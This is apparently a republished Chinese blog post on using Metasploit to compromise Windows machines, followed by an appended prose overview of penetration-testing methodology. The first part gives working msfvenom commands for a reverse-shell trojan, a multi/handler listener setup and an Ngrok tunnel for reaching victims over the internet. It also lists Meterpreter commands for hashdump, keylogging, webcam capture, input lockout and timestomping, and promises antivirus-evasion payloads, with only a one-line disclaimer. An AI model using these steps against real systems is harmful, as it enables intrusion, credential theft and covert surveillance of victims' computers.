Kali使用Metasploit内外网渗透windows系统

Posted ༺࿈思绪࿈༻

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Kali使用Metasploit内外网渗透windows系统相关的知识,希望对你有一定的参考价值。

Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数千个已知软件漏洞的专业级漏洞攻击工具。当H.D. Moore在2003年发布Metasploit时,计算机安全状况也被永久性地改变了。

Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用Ruby语言编写的了。在kali中,自带了Metasploit工具。

一、(内网渗透)内网英文缩写LAN;内网又称局域网

局域网的覆盖范围一般是方圆几千米之内,其具备的安装便捷、成本节约、扩展方便等特点使其在各类办公室内运用广泛。局域网可以实现文件管理、应用软件共享、打印机共享等功能,在使用过程当中,通过维护局域网网络安全,能够有效地保护资料安全,保证局域网网络能够正常稳定的运行。

使用MSF制作木马:

msf opthions:

-p, --payload 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用’-'或者stdin指定

-l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all

-n, --nopsled 为payload预先指定一个NOP滑动长度

-f, --format 指定输出格式 (使用 —help-formats 来获取msf支持的输出格式列表)

-e, --encoder [encoder] 指定需要使用的encoder(编码器)

-a, --arch 指定payload的目标架构

--platform 指定payload的目标平台

-s, --space 设定有效攻击荷载的最大长度

-b, --bad-chars 设定规避字符集,比如: ‘\\x00\\xff’

-i, --iterations 指定payload的编码次数

-c, --add-code 指定一个附加的win32 shellcode文件

-x, --template 指定一个自定义的可执行文件作为模板

-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行

--payload-options 列举payload的标准选项

-o, --out 保存payload

-v, --var-name 指定一个自定义的变量,以确定输出格式

--shellest 最小化生成payload

-h, —help 查看帮助选项

--help-formats 查看msf支持的输出格式列表

1、用ip a或者ifconfig查询kali 的ip

-p:指定payload脚本模块,lhost:指定传回本地kali的IP,(我本机kali地址为192.168.245.140)

lport:指定传回kali的端口,-f:输出文件类型,

-o:指定存放路径和要生成的脚本名称。

2、制作木马命令:

msfvenom -p windows/meterpreter/reverse_tcp lhost=xxxx.xxx.xxx lport=4444 -f exe -o /root/shell.exe 

在kali的root目录下把刚刚生成的脚本发给同一局域网下的Windows目标主机(如果是在虚拟机下测试虚拟机网络设置为NAT模式或者桥接模式这样kali和windows就处于同一局域网下;测试下windows是否能够ping通kali,两台主机不能够ping通的话受害机运行木马程序是不会反弹shell)

 3、打开MSF控制台

msfconsole

 4、设置payload,加载攻击模块设置本地IP和监听端口

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.245.140
set LPORT 4444

show options (查看IP端口设置情况)
run (开启监听)

等待目标主机执行木马反弹shell即可操控对方电脑

Metasploit脚本命令:

系统模块
Help:打开 Meterpreter 使用帮助
run scriptname:运行 Meterpreter 脚本,在 scripts/meterpreter 目录下可查看到所有脚本
use priv:加载特权提升扩展模块,来扩展 Meterpreter 库
getprivs:尽可能多地获取目标主机上的特权
per:通过各种攻击向量来提升到系统用户权限
shell : 以所有可用令牌来运行一个交互的shell
hashdump:导出目标主机中的口令哈希值
rev2self:回到控制目标主机的初始用户账户下
setdesktop number:切换到另一个用户界面(该功能基于哪些用户已登录)
screenshot:对目标主机的屏幕进行截图
background:将当前 Meterpreter shell 转为后台执行
quit:关闭当前Meterpreter会话,返回MSF终
webcam_list (查看有无摄像头)
webcam_snap (通过摄像头拍照)
webcam_stream (通过摄像头开启视频)
鼠标键盘模块
uictl开关键盘/鼠标
uictl disable mouse (禁用鼠标)
uictl disable keyboard(禁用键盘)

uictl enable mouse (启用鼠标)
uictl enable keyboard (启用键盘)
keyscan_start 针对目标主机开启键盘记录功能
keyscan_dump 存储目标主机上捕获的键盘记录
keyscan_stop 停止针对目标主机的键盘记录
uictl enable keyboard/mouse接管目标主机的键盘和鼠标
文件模块
ls列出目标主机的文件和文件夹信息
reg command在目标主机注册表中进行交互,创建、删除、查询等
upload file向目标主机上传文件
download file从目标主机下载文件
timestomp修改文件属性,例如修改文件的创建时间
例如:timestomp file1 -f file2将file1文件的时间信息设置得与file2文件完全一样
cat查看文件内容
getwd获得目标机上当前的工作目录
edit编辑目标机上的文件
search对目标机上的文件进行搜索,支持星号匹配,如
search -d c:\\windows -f *.mdb
execute执行文件
execute (在目标机执行文件)
execute -f cmd.exe -H -i -t(创建新进程cmd.exe, -H不可见,-i交互)
shutdown -r (重启)
shutdown -p(立即关机)

二、(外网渗透)外网英文缩写WAN;外网又称广域网、公网。

外网是连接不同地区局域网或城域网计算机通信的远程网。通常跨接很大的物理范围,所覆盖的范围从几十公里到几千公里,它能连接多个地区、城市和国家,或横跨几个洲并能提供远距离通信,形成国际性的远程网络。广域网并不等同于互联网。

处于不同局域网的两台主机是不能够互相ping通的,所以必须将攻击者的ip映射到公网上,这样受害机运行木马才能够反弹shell。

内网穿透是我们在进行网络连接时的一种术语,也叫做NAT穿透,即在计算机是局域网内的时候,外网与内网的计算机的节点进行连接时所需要的连接通信,有时候就会出现内网穿透不支的情况。内网穿透的功能就是,当我们在端口映射时设置时,内网穿透起到了地址转换的功能,也就是把公网的地址进行翻译,转成为一种私有的地址,然后再采用路由的方式ADSL的宽带路由器,具有一个动态或者是固定的公网IP,最后ADSL直接在交换机上,这样所有的电脑都可以共享上网。内网穿透除了可以实现内网之间机器的网络通信功通之外。

一旦获得了对系统的访问权限,攻击者可以进行侦听,横向移动及尝试提升特权,达到窃取系统或数据库中敏感数据的目的,对服务器安全乃至内网安全的危害不言而喻。

这里我们到Sunny-Ngrok内网穿透服务使kali主机与Sunny-Ngrok公网服务器连接,这样处于不同局域网的主机访问Sunny-Ngrok给出的TCP隧道,数据将会传回kali主机。

 

Sunny-Ngrok提供免费内网穿透服务,免费服务器支持绑定自定义域名

1、进入Ngrok网站注册一个用户(Sunny-Ngrok内网转发内网穿透 - 国内内网映射服务器

 

 2、开通TCP隧道

 

 

 3、下载Ngrok客户端(Sunny-Ngrok内网转发

 

根据攻击机系统情况下载客户端版本(这里下载Linux 64bita版本)

把下载好的Ngrok压缩包存放到kali的root目录下

命令解压缩:unzip linux_amd64(压缩包名)

进入解压好的目录:

cd linux_amd64

启动隧道映射TCP服务:

./sunny clientid (隧道id)

4、MSF生成外网木马程序

 注意:这里lhost和lport分别为赠送的域名和端口

msfvenom -p windows/meterpreter/reverse_tcp lhost=xxx.xxx.com lport=10306 -f exe -o /root/shell.exe

lhost填TCP隧道上面的域名,lport填TCP域名后面的端口

5、打开msf设置payload,加载攻击模块设置本地IP和监听端口

msfconsole

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.245.140
set LPORT 4444

show options (查看IP端口设置情况)
run (开启监听)

 6、转发生成的木马程序给目标机运行-目标机运行木马-反弹shell-操控目标机

7、对目标主机进行截图看看对方电脑正在干什么

screenshot

 root目录下查看截图

 

该教程仅用于信息防御技术教学请勿用于其他用途

后续更新免杀payload木马程序,过360、火绒。 

如何使用metasploit进行内网渗透详细过程

参考技术A 身处不同的渗透测试环境下就会有不同的渗透思路以及渗透的技术手段,今天我们将从攻与守两个不同的视角来了解渗透测试在不同处境下所使用的技术手段。 从攻方视角看渗透 攻方既包括了潜在的黑客、入侵者,也包括了经过企业授权的安全专家。在很多黑客的视角中,只要你投入了足够多的时间和耐心,那么这个世界上就没有不可能渗透的目标。目前我们只从授权渗透的角度来讨论渗透测试的攻击路径及其可能采用的技术手段。 测试目标的不同,自然也导致了技术手段的不同,接下来我们将简单说明在不同的位置可能采用的技术手段。 内网测试 内网测试指的是由渗透测试人员在内部网络发起的测试,这类的测试能够模拟企业内部违规操作者的行为。它的最主要的“优势”就是绕过了防火墙的保护。内部可能采用的主要渗透方式有:远程缓冲区溢出,口令猜测,以及B/S或C/S应用程序测试(如果在渗透测试中有涉及到C/S程序测试的,那么就需要提前准备相关客户端软件供测试使用)。 外网测试 外网测试则恰恰与内网测试相反,在此类测试当中渗透测试人员完全处于外部网络(例如拨号、ADSL或外部光纤),来模拟对内部状态一无所知的外部攻击者的行为。外部可能采用的渗透方式包括:对网络设备的远程攻击,口令管理安全性测试,防火墙规则试探、规避、Web及其它开放应用服务的安全性测试。 不同网段/Vlan之间的渗透 这种渗透方式是从某内/外部网段,尝试对另一网段/Vlan来进行渗透。这类测试通常可能用到的技术包括:对网络设备的远程攻击、对防火墙的远程攻击或规则探测、规避尝试。 信息的收集和分析伴随着渗透测试的每一个步骤,而每一个步骤又有三个部分组成:操作、响应和结果分析。 端口扫描 通过对目标地址的TCP/UDP端口扫描,确定其所开放的服务的数量以及类型,这是所有渗透测试的基础。端口扫描是计算机解密高手喜欢的一种方式。通过端口扫描,可以大致确定一个系统的基本信息并搜集到很多关于目标主机的各种有用的信息,然后再结合安全工程师的相关经验就可以确定其可能存在的以及可能被利用的安全弱点,从而为进行深层次的渗透提供可靠性依据。 远程溢出 这是当前出现的频率最高、威胁最严重,同时又是最容易实现的一种渗透方法,一个仅仅具有一般的基础性网络知识的入侵者就可以在相当短的时间内利用现成的工具实现远程溢出攻击。 对于防火墙内的系统同样存在这样的风险,只要对跨接防火墙内外的一台主机攻击成功,那么通过这台主机对防火墙内的主机进行攻击就易如反掌。 口令猜测 口令猜测也是一种出现概率很高的风险,几乎不需要任何攻击工具,利用一个简单的暴力攻击程序和一个比较完善的字典,就可以进行猜测口令。 对一个系统账号的猜测通常包括两个方面:首先是对用户名的猜测,其次是对密码的猜测。只要攻击者能猜测或者确定用户口令,就能获得机器或者网络的访问权,并且能够访问到用户能够访问的审核信息资源。 本地溢出 所谓本地溢出是指在拥有了一个普通用户的账号之后,通过一段特殊的指令代码来获取管理员权限的方法。使用本地溢出的前提是首先你要获得一个普通用户密码。也就是说由于导致本地溢出的一个关键条件是设置不当的密码策略。 多年的实践证明,在经过前期的口令猜测阶段获取的普通账号登录系统之后,对系统实施本地溢出攻击,就能获取不进行主动安全防御的系统的控制管理权限。 脚本及应用测试 Web脚本及应用测试专门针对Web及数据库服务器进行。根据最新的技术统计表明,脚本安全弱点是当前Web系统尤其是存在动态内容的Web系统比较严重的安全弱点之一。利用脚本相关弱点轻则可以获取系统其他目录的访问权限,重则将有可能取得系统的控制管理权限。因此对于含有动态页面的Web、数据库等系统,Web脚本及应用测试将是渗透测试中必不可少的一个环节。 在Web脚本及应用测试中,可能需要检查的部份包括: (1)检查应用系统架构,防止用户绕过系统直接修改数据库; (2)检查身份认证模块,用以防止非法用户绕过身份认证; (3)检查数据库接口模块,用以防止用户获取系统权限; (4)检查文件接口模块,防止用户获取系统文件; (5)检查其他安全威胁。 无线测试 虽然中国的无线网络还处于建设时期,但是无线网络的部署及其简易,所以在一些大城市里的普及率已经很高了。在北京和上海的商务区内至少有80%的地方都可以找到接入点。 通过对无线网络的测试,可以判断企业局域网的安全性,这已经成为渗透测试中越来越重要的环节。 除了以上的测试手段以外,还有一些可能会在渗透测试过程中使用的技术,包括:社交工程学、拒绝服务攻击,以及中间人攻击。 从守方视角看渗透 当具备渗透测试攻击经验的人们站到系统管理员的角度,要保障一个大网的安全时,我们会发现,关注点是完全不同的。从攻方的视角看是“攻其一点,不及其余”,只要找到一个小漏洞,就有可能撕开整条战线;但如果你从守方的视角来看,就会发现往往是“千里之堤,毁于蚁穴”。因此,必须要有好的理论指引,从技术到管理都要注重安全,才能使网络固若金汤。 渗透测试的必要性 渗透测试利用网络安全扫描器、专用安全测试工具和富有经验的安全工程师的人工经验对网络中的核心服务及其重要的网络设备,包括服务器、网络设备、防火墙等进行非破坏性质的模拟黑客攻击,目的是侵入系统并获取机密信息并将入侵的过程和细节产生报告给用户,从而实现网络信息安全的防护。 渗透测试和工具扫描可以很好的互相补充。工具扫描具有很好的效率和速度,但存在一定的误报率和漏报率,并且不能发现高层次的、复杂的、并且相互关联的安全问题;而渗透测试则需要投入大量的人力资源、并且对测试者的专业技能要求很高(渗透测试报告的价值直接依赖于测试者的专业技能水平),但是非常准确,可以发现逻辑性更强、更深层次的弱点,效果更加的明显。 一般的渗透测试流程如下: 时间的选择 为减少渗透测试对网络和主机的负面影响,渗透测试的时间尽量安排在业务量不大的时段或者是晚上。 策略的选择 为了防止渗透测试造成网络和主机的业务中断的问题,在渗透测试的过程中尽量不使用含有拒绝服务的测试策略。 授权渗透测试的监测手段 在评估过程中,由于渗透测试的特殊性,用户可以要求对整体测试流程进行实时的监控(PS:可能会提高渗透测试的成本)。 测试方自控 由渗透测试方对本次测透测试过程中的三方面数据进行完整记录:操作、响应、分析,最终会形成完整有效的渗透测试报告并将其提交给用户。 用户监控 用户监控一共有四种形式: 全程监控:采用类似Ethereal的嗅探软件进行全程抓包嗅探; 择要监控:对其扫描过程不进行录制,仅在安全工程师分析数据后,准备发起渗透前才开启软件进行嗅探; 主机监控:仅监控受测主机的存活状态,用以避免意外情况发生; 指定攻击源:用户指定由特定攻击源地址进行攻击,该源地址的主机由用户进行进程、网络连接、数据传输等多方面的监督控制。 (友情提示:文章中会出现与之前文章些许重复的情况,望各位亲包容,不过重复即是记忆。大家要常驻米安网哦!)

以上是关于Kali使用Metasploit内外网渗透windows系统的主要内容,如果未能解决你的问题,请参考以下文章

用Powershell框架Empire进行内网域渗透(一)

Kali渗透Windows服务器

Kali从入门到银手镯:利用Metasploit工具的Win7渗透测试

Kali从入门到银手镯:利用Metasploit工具的Win7渗透测试

如何使用metasploit进行内网渗透详细过程

Metasploit实验